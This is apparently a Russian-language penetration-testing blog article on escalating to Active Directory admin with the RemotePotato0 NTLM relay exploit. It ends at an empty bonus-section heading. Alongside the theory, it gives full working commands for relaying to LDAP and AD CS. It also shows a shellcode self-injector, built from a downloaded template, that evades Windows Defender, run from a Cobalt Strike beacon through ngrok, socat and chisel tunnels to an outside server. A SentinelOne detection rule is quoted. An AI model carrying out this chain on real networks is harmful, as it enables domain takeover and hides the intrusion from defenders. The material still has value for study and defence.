April 15

Картошка-0. Повышаем привилегии в AD при помощи RemotePotato0

sn🥶vvcr💥sh

В этой статье мы погово­рим о раз­ных вари­ациях кросс‑про­токоль­ной ата­ки NTLM Relay с исполь­зовани­ем экс­пло­ита RemotePotato0, а так­же на этом при­мере обсу­дим, как мож­но спря­тать сиг­натуру исполня­емо­го фай­ла от ста­тичес­кого ана­лиза.

Эта исто­рия отно­сит­ся к катего­рии «бай­ки с внут­ренних пен­тестов», ког­да мы попали в сре­ду Active Directory, где чле­ны груп­пы безопас­ности Domain Users (все поль­зовате­ли домена) обла­дали при­виле­гией для уда­лен­ного под­клю­чения к кон­трол­лерам домена по про­токо­лу RDP. Хоть это уже само по себе ужас­ная «мис­конфи­га», потен­циаль­ный зло­умыш­ленник все еще дол­жен най­ти спо­соб для локаль­ного повыше­ния при­виле­гий на DC, что проб­лематич­но, если на сис­теме сто­ят все хот­фиксы.

Здесь и при­ходит на помощь баг фича из серии Microsoft Won’t Fix List — кросс‑сес­сион­ное про­воци­рова­ние вынуж­денной аутен­тифика­ции по про­токо­лу RPC. При отсутс­твии защиты служ­бы LDAP от атак NTLM Relay оно мгно­вен­но подарит тебе «клю­чи от королевс­тва».

ПРЕДЫСТОРИЯ

Итак, внут­ренний пен­тест. Все по клас­сике: толь­ко я, мой ноут­бук, ка­пюшон и мас­ка Гая Фок­са перего­вор­ка, ском­мутиро­ван­ная розет­ка RJ-45 и прос­торы кор­поратив­ной сети жер­твы ауди­та. Отсутс­твие пра­вил филь­тра­ции IPv6 в моем широко­веща­тель­ном домене — в роли уяз­вимос­ти, отравлен­ные пакеты DHCPv6 Advertise с link-local IPv6-адре­сом моего ноут­бука (mitm6) — в роли ата­ки, и вот получен пер­воначаль­ный аутен­тифици­рован­ный дос­туп в сре­ду AD. Далее сбор дам­па «бла­да» с помощью BloodHound.py, пока все как обыч­но.

Но вот то, что было даль­ше, повер­гло меня в шок... Ока­залось, что все домен­ные «поль­заки» могут кон­нектить­ся к кон­трол­лерам домена по RDP. Дей­стви­тель­но, что может пой­ти не так?

Най­ди уяз­вимость на кар­тинке

В этот момент мож­но начинать потирать руки в пред­вку­шении кре­дов доменад­мина. Убе­дим­ся, что мы можем реле­ить Net-NTLMv2-аутен­тифика­цию на служ­бы LDAP(S) с помощью LdapRelayScan.

~$ python3 LdapRelayScan.py -method BOTH -dc-ip -u -p

PARTY TIME!

Не­уди­витель­но, что LDAP Signing (защита LDAP, 389/TCP) и LDAP Channel Binding (защита LDAPS, 636/TCP) отклю­чены, — еще мало кто осоз­нал, что это мас­тхев-mitigations для AD в наше вре­мя.

А теперь по поряд­ку, что со всем этим мож­но сде­лать.

НЕМНОГО О «КАРТОШКАХ»

RottenPotato & Co

В далеком 2016 году умные люди при­дума­ли RottenPotato — тех­нику локаль­ного повыше­ния при­виле­гий с сер­висных акка­унтов Windows (нап­ример, IIS APPPOOL\DefaultAppPool или NT Service\MSSQL$SQLEXPRESS), обла­дающих при­виле­гией оли­цет­ворения чужих токенов безопас­ности (aka SeImpersonatePrivilege), до NT AUTHORITY\SYSTEM.

Для это­го ата­кующий дол­жен был:

  1. Спро­воци­ровать вынуж­денную аутен­тифика­цию со сто­роны NT AUTHORITY\SYSTEM на машине‑жер­тве через триг­гер API-руч­ки DCOM/RPC CoGetInstanceFromIStorage в отно­шении локаль­ного слу­шате­ля (выс­тупа­ет в роли «челове­ка посере­дине»).
  2. Од­новре­мен­но про­вес­ти ло­каль­ную ата­ку NTLM Relay на служ­бу RPC (135/TCP) и дер­нуть API-вызов DCOM/RPC AcceptSecurityContext, переда­вая ему содер­жимое NTLM-час­ти зап­роса Negotiate (NTLM Type 1) от NT AUTHORITY\SYSTEM.
  3. Под­менить NTLM-чел­лендж (NTLM Type 2), исхо­дящий от служ­бы RPC (135/TCP), чел­лен­джем, получен­ным из отве­та AcceptSecurityContext, и про­дол­жить изна­чаль­ный релей на RPC из шага 1. В этом кон­тек­сте NTLM-ответ служ­бы RPC (135/TCP) исполь­зует­ся прос­то как шаб­лон сетево­го отве­та, в который мы инжектим нуж­ное нам тело NTLM-чел­лен­джа.
  4. Пос­ле успешно­го получе­ния NTLM-аутен­тифика­ции (NTLM Type 3) кли­ента RPC из шага 1 в ответ на NTLM-чел­лендж (NTLM Type 2) из шага 3 зареле­ить ее на RPC-руч­ку AcceptSecurityContext и получить токен сис­темы. На этом NTLM Relay окон­чен.
  5. Им­персо­ниро­вать NT AUTHORITY\SYSTEM. Мы можем это сде­лать потому, что у нас есть при­виле­гия SeImpersonatePrivilege.
Ме­ханизм работы RottenPotato (изоб­ражение — jlajara.gitlab.io)

Не­кото­рое вре­мя спус­тя лавоч­ку прик­рыли, зап­ретив DCOM/RPC общать­ся с локаль­ными слу­шате­лями, — никаких тебе боль­ше мит­мов. Но «кар­тошки» все рав­но пре­тер­певали изме­нения: были напиле­ны LonelyPotato (неак­туаль­но) и JuicyPotato — улуч­шенная вер­сия RottenPotato, уме­ющая работать с раз­ными зна­чени­ями CLSID (Class ID, иден­тифика­тор COM-клас­са) для «арбу­зин­га» дру­гих служб (помимо BITS, которую исполь­зовала ори­гиналь­ная «кар­тошка»), в которых реали­зован интерфейс IMarshal для триг­гера NTLM-аутен­тифика­ции.

JuicyPotato

В дан­ном слу­чае про­воци­рова­ние NTLM-аутен­тифика­ции в сво­ей осно­ве име­ет прин­цип, схо­жий с вре­донос­ной десери­али­заци­ей объ­ектов, толь­ко здесь это называ­ется «ан­марша­линг» — про­цесс вос­ста­нов­ления COM-объ­екта из пос­ледова­тель­нос­ти битов пос­ле его переда­чи в целевой метод в качес­тве аргу­мен­та.

Ата­кующий соз­дает вре­донос­ный COM-объ­ект клас­са IStorage и вызыва­ет API CoGetInstanceFromIStorage с ука­зани­ем соз­дать объ­ект клас­са с кон­крет­ным иден­тифика­тором CLSID и ини­циали­зиро­вать его сос­тоянием из мар­шализи­рован­ного вре­донос­ного объ­екта. Одно из полей мар­шализи­рован­ного объ­екта содер­жит ука­затель на под­кон­троль­ный ата­кующе­му слу­шатель, на который авто­мати­чес­ки при­ходит отстук с NTLM-аутен­тифика­цией в про­цес­се анмарша­лин­га.

public static void BootstrapComMarshal(int port)
{
IStorage stg = ComUtils.CreateStorage();
// Use a known local system service COM server, in this cast BITSv1
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");
TestClass c = new TestClass(stg, String.Format("127.0.0.1[{0}]", port));
MULTI_QI[] qis = new MULTI_QI[1];
qis[0].pIID = ComUtils.IID_IUnknownPtr;
qis[0].pItf = null;
qis[0].hr = 0;
CoGetInstanceFromIStorage(null, ref clsid,
null, CLSCTX.CLSCTX_LOCAL_SERVER, c, 1, qis);
}

Под­робнее о механиз­ме триг­гера NTLM-аутен­тифика­ции в ходе абь­юза DCOM/RPC мож­но почитать в пер­вом репор­те Project Zero на эту тему.

RoguePotato

С релизом RoguePotato — эво­люци­они­ровав­шей вер­сией JuicyPotato — был про­демонс­три­рован аль­тер­натив­ный под­ход к имперсо­нации при­виле­гиро­ван­ных сис­темных токенов:

  1. Зло­умыш­ленник под­нима­ет кас­томный сер­вис OXID (Object Exporter ID) Resolver на локаль­ном пор­те ата­куемой машины, отличном от 135/TCP. OXID-резол­вер исполь­зует­ся в Windows для раз­решения иден­тифика­тора вызыва­емо­го интерфей­са RPC (в нашем слу­чае под­кон­троль­ного атта­керу) в его имя, то есть в стро­ку RPC-бин­динга.
  2. Зло­умыш­ленник говорит служ­бе DCOM/RPC машины‑жер­твы пос­тучать­ся на уда­лен­ный IP-адрес (кон­тро­лиру­ется ата­кующим) для резол­ва той самой OXID-записи. Это необ­ходимо из‑за того, что в Microsoft зап­ретили обра­щать­ся к локаль­ным OXID-резол­верам, слу­шающим не на пор­те 135/TCP.
  3. На том самом уда­лен­ном IP-адре­се зло­умыш­ленник под­нима­ет socat (или любой дру­гой TCP-редирек­тор) на пор­те 135/TCP и «зер­калит» при­шед­ший OXID-зап­рос на ата­куемую машину в порт, на котором слу­шает кас­томный сер­вис OXID Resolver из шага 1. А он уже резол­вит пре­дос­тавлен­ный иден­тифика­тор в стро­ку RPC-бин­динга име­нован­ного канала ncacn_np:localhost/pipe/RoguePotato[\pipe\epmapper].
  4. Да­лее машина‑жер­тва наконец‑то дела­ет вре­донос­ный RPC-вызов (API-руч­ка IRemUnkown2) с под­клю­чени­ем к под­кон­троль­ному ата­кующе­му пай­пу из шага 3, что поз­воля­ет нам имперсо­ниро­вать под­клю­чив­ший­ся кли­ент с помощью RpcImpersonateClient, как это опи­сал @itm4n в судь­бонос­ном ресер­че PrintSpoofer — Abusing Impersonation Privileges on Windows 10 and Server 2019.
Ме­ханизм работы RoguePotato (изоб­ражение — jlajara.gitlab.io)

С базовой теорией закон­чили.

WWW

Potatoes — Windows Privilege Escalation — статья с хорошим опи­сани­ем всех «кар­тошек» и тай­млай­ном их появ­ления.

REMOTEPOTATO0

Введение

RemotePotato0 — успешный резуль­тат попыт­ки рас­ширить область при­мене­ния RoguePotato для про­веде­ния атак на домен­ные учет­ные записи.

Ра­бота­ет это при­мер­но так же, как и RoguePotato, за исклю­чени­ем того, что теперь мы исполь­зуем дру­гие служ­бы (с дру­гими зна­чени­ями CLSID), что­бы триг­герить NTLM-аутен­тифика­ции от име­ни поль­зовате­лей, сес­сии которых сущес­тву­ют на ата­куемой машине одновре­мен­но с нашей. Пер­воначаль­ный вари­ант экс­пло­ита работал толь­ко при усло­вии дей­ствия ата­кующе­го из так называ­емо­го нулево­го сеан­са.

Session 0 Isolation

Session 0 Isolation — кон­цепция раз­деления сес­сий поль­зовате­лей и сес­сий сис­темных служб и неин­терак­тивных при­ложе­ний. Начиная с Windows Vista, все поль­зовате­ли, под­клю­чаясь к машине уда­лен­но по про­токо­лу RDP, про­вали­вают­ся в свою сес­сию, отку­да не могут вза­имо­дей­ство­вать с про­цес­сами, запущен­ными в дру­гих сес­сиях, если не обла­дают пра­вами локаль­ного адми­нис­тра­тора. Одна­ко если поль­зователь под­клю­чен через служ­бу WinRM (Windows Remote Management, 5985–5986/TCP) или SSH, то он про­вали­вает­ся непос­редс­твен­но в нулевой сеанс, так как сами ука­зан­ные служ­бы сущес­тву­ют имен­но там.

Наг­лядный при­мер: поль­зователь TINYCORP\j.doe в моей лабе не име­ет прав локалад­мина на сер­вере TEXAS, поэто­му не может видеть запущен­ных от име­ни адми­нис­тра­тора про­цес­сов Google Chrome, будучи под­клю­чен­ным по RDP. Одна­ко, если открыть дис­петчер задач с пра­вами адми­нис­тра­тора, эти про­цес­сы будут отоб­ражены.

За­пуск дис­петче­ра задач с раз­ными пра­вами

С дру­гой сто­роны, если я вклю­чу это­го поль­зовате­ля в локаль­ную груп­пу Remote Management Users на этом сер­вере и под­клю­чусь к нему с помощью Evil-WinRM, я ока­жусь в кон­тек­сте Session 0, по‑преж­нему не обла­дая пра­вами локалад­мина.

Внут­ри нулево­го сеан­са по WinRM

Это не озна­чает, что я теперь могу делать с про­цес­сами в дру­гих сес­сиях все, что захочу, одна­ко откры­вает инте­рес­ные воз­можнос­ти в пла­не вза­имо­дей­ствия с ними через DCOM/RPC.

То есть в ситу­ации, ког­да у нас есть поль­зователь с пра­вами под­клю­чения к сер­верам в кон­тек­сте нулево­го сеан­са через WinRM или SSH (то есть вхо­дящий в груп­пу Remote Management Users), но не обла­дающий пра­вами локаль­ного адми­нис­тра­тора (в про­тив­ном слу­чае мы можем прос­то сдам­пить LSASS для получе­ния нуж­ных кре­дов), мож­но было исполь­зовать трюк с RemotePotato0 при усло­вии сущес­тво­вания на ата­куемом сер­вере сес­сий при­виле­гиро­ван­ных поль­зовате­лей. По сло­вам авто­ра экс­пло­ита, в этом слу­чае при триг­гере NTLM-аутен­тифика­ции через опре­делен­ный CLSID мы смо­жем угнать кон­текст сес­сии с наимень­шим зна­чени­ем ее иден­тифика­тора:

If we have a shell in Session 0, even as a low privileged user, and trigger these particular CLSIDs, we will obtain an NTLM authentication from the user who is interactively connected (if more than one user is interactively connected, we will get that of the user with lowest session id).

По­нят­но, что при таком рас­кла­де область при­мени­мос­ти RemotePotato0 была не очень широкой, поэто­му хай­па вок­руг метода было нем­ного.

Спус­тя некото­рое вре­мя экс­пло­ит, ко все­общей радос­ти, об­новил­ся и стал под­держи­вать фун­кции кросс‑сес­сион­ного триг­гера NTLM-аутен­тифика­ции: это озна­чает, что, дей­ствуя даже в рам­ках сес­сии номер 1 из RDP, мы можем дер­нуть при­виле­гиро­ван­ный кон­текст адми­нис­тра­тора, так­же залоги­нен­ного в RDP, но в сес­сии номер 2.

И вот это уже было пря­мо пуш­кой!

Как работает и когда использовать

Пе­ред перехо­дом к прак­тике сум­миру­ем наши зна­ния о RemotePotato0.

Ус­ловия при­мени­мос­ти ата­ки, или чем нам нуж­но обла­дать:

  1. Ском­про­мети­рован­ная домен­ная УЗ, име­ющая при­виле­гии под­клю­чения к уда­лен­ному сер­веру по про­токо­лу RDP, где потен­циаль­но могут тусить при­виле­гиро­ван­ные поль­зовате­ли. На самом деле это усло­вие встре­чает­ся прак­тичес­ки вез­де, так как вез­де есть тер­миналь­ники, куда вре­мя от вре­мени заг­лядыва­ют доменад­мины.
  2. Под­кон­троль­ный ата­кующе­му хост в интра­нете, име­ющий сетевую свя­зан­ность по пор­ту 135/TCP с ата­куемым сер­вером (от это­го усло­вия мы изба­вим­ся далее).
  3. Не­защи­щен­ный эндпо­инт с домен­ной аутен­тифика­цией, куда мож­но реле­ить Net-NTLMv2-аутен­тифика­цию, при­летев­шую на наш HTTP-сер­вер. Иде­аль­ный вари­ант — служ­бы LDAP(S) или стан­дар­тное веб‑при­ложе­ние кор­поратив­ного цен­тра сер­тифика­ции Microsoft AD CS.
  4. Воз­можность исполне­ния экс­пло­ита RemotePotato0 на ата­куемом сер­вере в обход средств анти­вирус­ной защиты.

Как работа­ет ата­ка:

  1. Дей­ствуя из сес­сии неп­ривиле­гиро­ван­ного поль­зовате­ля, под­клю­чен­ного по RDP к сер­веру, где есть сес­сия при­виле­гиро­ван­ного (или любого дру­гого инте­ресу­юще­го нас) домен­ного поль­зовате­ля, ата­кующий триг­герит NTLM-аутен­тифика­цию от име­ни жер­твы через анмарша­линг вре­донос­ного объ­екта COM-клас­са IStorage пос­редс­твом переда­чи его в качес­тве аргу­мен­та в API-хендл CoGetInstanceFromIStorage. Во вре­донос­ном объ­екте живет IP-адрес и порт под­кон­троль­ного ата­кующе­му сетево­го узла, куда поз­же при­летит NTLM-аутен­тифика­ция.
  2. На сво­ем сер­вере ата­кующий зер­калит траф­ло, при­шед­шее на порт 135/TCP, обратно на ата­куемую машину в порт, где уже под­нят фей­ковый OXID-резол­вер, который отда­ет зап­росу DCOM нуж­ный RPC-бин­динг.
  3. Час­тично пов­торя­ется шаг 4 из опи­сания работы RoguePotato: вызов IRemUnknown2::RemRelease в отно­шении локаль­ного RPC-сер­вера, инкапсу­ляция RPC-зап­роса с NTLM-аутен­тифика­цией в HTTP и перенап­равле­ние его на наш HTTP-сер­вер. Пос­ледний уже под­нят на машине ата­кующе­го в виде инстан­са ntlmrelayx.py.
  4. Про­веде­ние кросс‑про­токоль­ной ата­ки NTLM Relay на незащи­щен­ный эндпо­инт с домен­ной аутен­тифика­цией. В этом слу­чае ата­кующий может добавить под­кон­троль­ного ему домен­ного поль­зовате­ля в при­виле­гиро­ван­ные домен­ные груп­пы безопас­ности, нас­тро­ить огра­ничен­ное делеги­рова­ние на осно­ве ресур­сов RBCD Abuse для кри­тичес­ких домен­ных ресур­сов или исполь­зовать любой дру­гой под­держи­ваемый век­тор ата­ки ntlmrelayx.py.
Ме­ханизм работы RemotePotato0 (изоб­ражение — www.sentinelone.com)

Пе­рей­дем к прак­тике.

Сферические примеры в вакууме

Преж­де чем говорить об укло­нении от AV и дру­гих апгрей­дах, пос­мотрим на ата­ку при отклю­чен­ных средс­твах защиты, что­бы понимать, какого резуль­тата нам ожи­дать.

Я заг­ружу све­жий релиз RemotePotato0 и рас­пакую его пря­мо на целевом сер­вере.

PS > curl https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip -o RemotePotato0.zip
PS > Expand-Archive .\RemotePotato0.zip -DestinationPath .
PS > ls .\RemotePotato0*
PS > .\RemotePotato0.exe

Заг­рузка и рас­паков­ка RemotePotato0

Как мож­но видеть из справ­ки, в нашем рас­поряже­нии нес­коль­ко режимов ата­ки: мож­но либо отпра­вить аутен­тифика­цию на relay-сер­вер для ее перенап­равле­ния на дру­гой эндпо­инт (режим 0, по умол­чанию), либо получить зна­чение хеша Net-NTLMv2 для его офлай­нового перебо­ра (режим 2). Режимы 1 и 3 пред­назна­чены для триг­гера NTLM-аутен­тифика­ции вруч­ную, без «кар­тошки», поэто­му нам это не очень инте­рес­но.

Для раз­минки спер­ва поп­робу­ем режим 2:

  • -m — режим ата­ки;
  • -x — IP-адрес TCP-редирек­тора, который отзерка­лит OXID-резолв обратно машине‑жер­тве на порт, ука­зан­ный в опции -p (если бы я исполь­зовал Windows Server 2012, мож­но было бы обой­тись без этой опции, пос­коль­ку на нем нет фик­сов, зап­реща­ющих резолв OXID-зап­росов через нес­тандар­тные пор­ты);
  • -p — порт фей­кового локаль­ного OXID-резол­вера, куда OXID-зап­рос будет отзерка­лен машиной ата­кующе­го;
  • -s — номер сес­сии поль­зовате­ля, которо­го мы хотим оли­цет­ворить.

~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::9998
PS > .\RemotePotato0.exe -m 2 -x -p 9998 -s

За­пуск RemotePotato0 в режиме сбо­ра хешей

Как видим, мы успешно получи­ли зна­чение хеша Net-NTLMv2, который теперь мож­но спо­кой­но бру­тить в офлай­не (режим 5600 hashcat тебе в помощь). Это пол­ноцен­ная замена ата­ки Internal Monologue, не тре­бующая к тому же прав локаль­ного адми­нис­тра­тора.

Те­перь перей­дем к релею на LDAP. Опции те же самые, толь­ко добавим флаг -r, зада­ющий IP-адрес HTTP-сер­вера ата­кующе­го, который про­ведет NTLM Relay.

~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::9998
~$ sudo ntlmrelayx.py -t ldap:// --no-smb-server --no-wcf-server --no-raw-server --escalate-user
PS > .\RemotePotato0.exe -m 0 -r -x -p 9998 -s

За­пуск RemotePotato0 в режиме релея

Вжух, и одной коман­дой мы энтыр­прайз одме­ны!

БОЕВАЯ ПРАКТИКА

Это все, конеч­но, здо­рово, но сов­сем не жиз­ненно.

Ус­ложним задачу: нуж­но про­вес­ти ту же ата­ку при активном дефен­дере и не обла­дая вспо­мога­тель­ной машиной на Linux, на которой под­нима­ется TCP-редирек­тор (допус­тим, мы про­ломи­ли внеш­ний периметр и ока­зались внут­ри кор­поратив­ной инфраструк­туры с сес­сией Cobalt Strike).

Уклоняемся от AV

Су­дя по моему опы­ту, боль­шинс­тво аве­ров детек­тят RemotePotato0.exe, осно­выва­ясь исклю­читель­но на сиг­натур­ном ана­лизе:

rule SentinelOne_RemotePotato0_privesc {
meta:
author = "SentinelOne"
description = "Detects RemotePotato0 binary"
reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
strings:
$import1 = "CoGetInstanceFromIStorage"
$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
$meow_header = { 4d 45 4f 57 }
$clsid1 = "{11111111-2222-3333-4444-555555555555}" nocase wide ascii
$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
condition:
(uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
}

Есть нес­коль­ко воз­можных решений этой проб­лемы:

  1. Упа­ковать RemotePotato0.exe с помощью какого‑нибудь архи­вато­ра/энко­дера/шиф­ратора.
  2. Вы­дер­нуть шелл‑код из исполня­емо­го фай­ла и внед­рить его в про­цесс из памяти.

На самом деле вто­рой спо­соб — это овер­килл, потому что про­тив Windows Defender работа­ет даже упа­ков­ка UPX’ом.

Defender Advanced (ага, да) Evasion UPX-упа­ков­кой

Но мы можем луч­ше: вто­рой спо­соб не пот­ребу­ет даже заг­ружать исполня­емый файл экс­пло­ита на диск, поэто­му выбира­ем этот метод.

По­мимо D/Invoke, сущес­тву­ет еще один инте­рес­ный спо­соб обфуска­ции вызовов Win32 API при написа­нии экс­пло­итов на C#. Он осве­щен в статье Unmanaged Code Execution with .NET Dynamic PInvoke.

Суть прос­та: в C# сущес­тву­ет натив­ный механизм System.Reflection.Emit, поз­воля­ющий на лету соз­давать сбор­ки .NET и исполнять их с помощью механиз­ма Reflection.Assembly из памяти пря­мо в ран­тай­ме. Исполь­зуя этот механизм, мы можем так же на лету стро­ить обер­тки для вызовов Win32 API, не при­бегая к ста­тичес­ким дек­лараци­ям P/Invoke.

При­мер опре­деле­ния фун­кции CreateThread, дер­гающей одно­имен­ную руч­ку API из kernel32.dll:

class DPInvoke
{
static object DynamicPInvokeBuilder(Type type, string library, string method, object[] parameters, Type[] parameterTypes)
{
AssemblyName assemblyName = new AssemblyName("Temp01");
AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);
ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("Temp02");
MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, parameterTypes, CallingConvention.Winapi, CharSet.Ansi);
methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig);
moduleBuilder.CreateGlobalFunctions();
MethodInfo dynamicMethod = moduleBuilder.GetMethod(method);
object result = dynamicMethod.Invoke(null, parameters);
return result;
}
public static IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId)
{
Type[] parameterTypes = { typeof(IntPtr), typeof(uint), typeof(IntPtr), typeof(IntPtr), typeof(uint), typeof(IntPtr) };
object[] parameters = { lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId };
var result = (IntPtr)DynamicPInvokeBuilder(typeof(IntPtr), "kernel32.dll", "CreateThread", parameters, parameterTypes);
return result;
}
}

На осно­ве при­меров из статьи по ссыл­ке выше я напилил шаб­лон для авто­мати­зации соз­дания self-инжекто­ров. Шелл‑коды генери­руют­ся из PE-фай­лов с помощью это­го фор­ка про­екта donut.

Для ком­пиляции .NET пот­ребу­ется машина с Visual Studio.

~$ wget -q https://github.com/antonioCoco/RemotePotato0/releases/download/1.2/RemotePotato0.zip
~$ unzip RemotePotato0.zip
~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 2 -x <ATTACKER_IP> -p 9998 -s <SESSION_ID>' -o RemotePotato0.bin
PS > $binaryName = "RemotePotato0"
PS > $bytes = [System.IO.File]::ReadAllBytes("$(pwd)\${binaryName}.bin")
PS > [System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
PS > $dStream = New-Object System.IO.Compression.DeflateStream($outStream, [System.IO.Compression.CompressionLevel]::Optimal)
PS > $dStream.Write($bytes, 0, $bytes.Length)
PS > $dStream.Dispose()
PS > $outBytes = $outStream.ToArray()
PS > $outStream.Dispose()
PS > $b64Compressed = [System.Convert]::ToBase64String($outBytes)
PS > $template = (New-Object Net.WebClient).DownloadString("https://gist.github.com/snovvcrash/30bd25b1a5a18d8bb7ce3bb8dc2bae37/raw/881ec72c7c310bc07af017656a47d0c659fab4f6/template.cs") -creplace 'DONUT', $b64Compressed
PS > $template -creplace 'NAMESPACE', "${binaryName}Inject" > ${binaryName}Inject.cs
PS > csc /t:exe /platform:x64 /out:${binaryName}Inject.exe ${binaryName}Inject.cs
PS > rm ${binaryName}Inject.cs
Ком­пиляция self-инжекто­ра

Про­тес­тим его в сле­дующем раз­деле, ког­да решим проб­лему с TCP-редирек­тором.

ngrok + socat =

До­пус­тим, мы получи­ли «маячок» CS на уяз­вимом для ата­ки сер­вере, но у нас нет дру­гого ресур­са во внут­ренней сети жер­твы, что­бы исполь­зовать его как зер­кало для OXID-зап­росов.

Для ими­тации этой ситу­ации я вру­бил обратно «Дефен­дер», вос­поль­зовал­ся сво­им вол­шебным инжекто­ром с поза­имс­тво­ван­ной у @_RastaMouse тех­никой Module Stomping и получил сес­сию «Кобы».

Ни­чего подоз­ритель­ного
You’ve poped a shell!

Те­перь нем­ного pivoting: отсутс­твие вспо­мога­тель­ной машины я ком­пенси­рую тем, что под­ниму TCP-инстанс ngrok, который даст белый эндпо­инт для обще­ния с машиной ата­кующе­го (которая находит­ся за пре­дела­ми внут­ренней сети).

~$ ngrok tcp 136

ngrok слу­шает на 136/TCP

Так как мы не можем кон­тро­лиро­вать порт, который ngrok веша­ет на «белый» адрес (а нам нужен толь­ко 135/TCP), понадо­бит­ся еще один редирек­тор. В его роли выс­тупит socat на моей VDS (на ата­куемом сер­вере дол­жен быть дос­туп в интерне­ты, что­бы до него дос­тучать­ся).

~$ nslookup
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::

ngrok + socat на VDS

Те­перь я могу ловить на 136/TCP на машине ата­кера тра­фик, при­летев­ший с ngrok, и перенап­равлять его обратно на жер­тву. В этом мне поможет SOCKS-прок­ся, раз­верну­тая «Кобой».

Эм­пиричес­ким путем было уста­нов­лено, что прок­сю луч­ше под­нимать в отдель­ном биконе, так как изна­чаль­ная сес­сия начина­ет тупить, ког­да мы дела­ем execute-assembly с нашим инжекто­ром, который мы, кста­ти, так и не про­тес­тили. Испра­вим это (теперь надо толь­ко переге­нерить шелл‑код с нуж­ным IP VDS’ки в аргу­мен­те -x).

beacon(1)> socks 1080
~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,reuseaddr TCP::9998
beacon(2)> execute-assembly RemotePotato0Inject.exe

А вот и хешики!
Тем вре­менем на VDS

Но и это не пре­дел наших воз­можнос­тей — таким же спо­собом мож­но зареле­ить аутен­тифика­цию на LDAP. Для начала переге­нерим шелл‑код с нуж­ными нам аргу­мен­тами (изме­ним режим в -m и добавим адрес VDS в -r).

~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 0 -r -x -p 9998 -s ' -o RemotePotato0.bin

К сожале­нию, в бес­плат­ной вер­сии ngrok не получит­ся одновре­мен­но под­нять вто­рой канал, поэто­му я вос­поль­зуюсь Chisel для перенап­равле­ния HTTP-траф­ла. Откро­вен­но говоря, мож­но было и пер­вый редирект нас­тро­ить через chisel и не юзать ngrok вооб­ще.

beacon(1)> socks 1080
(ATTACKER) ~$ ngrok tcp 136
(VDS) ~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_IP>:<NGROK_PORT>
(VDS) ~$ sudo ./chisel server -p 8000 --reverse --auth <USER>:<PASS>
(ATTACKER) ~$ ./chisel client --auth <USER>:<PASS> <VDS_IP>:8000 R:80:127.0.0.1:8080
(ATTACKER) ~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,reuseaddr TCP:<VICTIM_INTERNAL_IP>:9998
(ATTACKER) ~$ sudo proxychains4 -q ntlmrelayx.py -t ldap://<DC_INTERNAL_IP> --http-port 8080 --no-smb-server --no-wcf-server --no-raw-server --escalate-user <PWNED_USER>
beacon(2)> execute-assembly RemotePotato0Inject.exe
Ре­леим HTTP через Chisel
Тем вре­менем на VDS (дубль 2)

И я сно­ва энтер­прайз‑админ. Таким обра­зом, мы скраф­тили спо­соб повыше­ния при­виле­гий с помощью RemotePotato0 без исполь­зования вспо­мога­тель­ного хос­та на внут­реннем перимет­ре!

БОНУС #1. РЕЛЕЙ НА AD CS (ESC8)

Ес­ли реле­ить на LDAP(S) не получа­ется, но в домене есть незащи­щен­ный эндпо­инт Web Enrollment цен­тра сер­тифика­ции AD CS, мож­но про­вер­нуть вари­ацию ата­ки ESC8 (за под­робнос­тями идем в ресерч Certified Pre-Owned).

Что­бы релей сра­ботал в этом слу­чае, может пот­ребовать­ся поиг­рать с раз­ными зна­чени­ями CLSID, которые мож­но ука­зать через аргу­мент -c. Захар­дко­жен­ное зна­чение {5167B42F-C111-47A1-ACC4-8EABE61B0B54} не сра­бота­ет из‑за того, что раз­ные служ­бы (с раз­ными CLSID) исполь­зуют раз­ные уров­ни аутен­тифика­ции при их триг­гере по RPC (опре­деля­ется зна­чени­ем этих кон­стант). То, что работа­ет при релее на LDAP, может не сра­ботать при релее на SMB/HTTP (в слу­чае ESC8 реле­им имен­но на HTTP).

Так вот, опять же эмпи­ричес­ким путем выяс­нено, что для ESC8 под­ходит служ­ба CastServerInteractiveUser со зна­чени­ем CLSID {f8842f8e-dafe-4b37-9d38-4e0714a61149}.

Про­демонс­три­ровать со скрин­шотом, к сожале­нию, не получит­ся, пос­коль­ку в моей лабе сер­вер TEXAS и игра­ет роль AD CS, а reflective-релей с самого себя не сра­бота­ет.

Вот вам пруф

Но в коман­дах это дол­жно было бы выг­лядеть при­мер­но так.

~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 0 -r -x -p 9998 -s -c {f8842f8e-dafe-4b37-9d38-4e0714a61149}' -o RemotePotato0.bin
~$ ntlmrelayx.py -t http:///certsrv/certfnsh.asp --no-smb-server --no-wcf-server --no-raw-server --adcs --template User

При успешной генера­ции сер­тифика­та от име­ни ата­кован­ного поль­зовате­ля даль­ше дей­ству­ем обыч­но, как это про­исхо­дит пос­ле ESC8-ата­ки, а имен­но исполь­зуем Rubeus (флаг /getcredentials) или PKINITtools для получе­ния TGT или NT-хеша жер­твы.

БОНУС #2. REMOTEPOTATO БЕЗ REMOTEPOTATO0.EXE

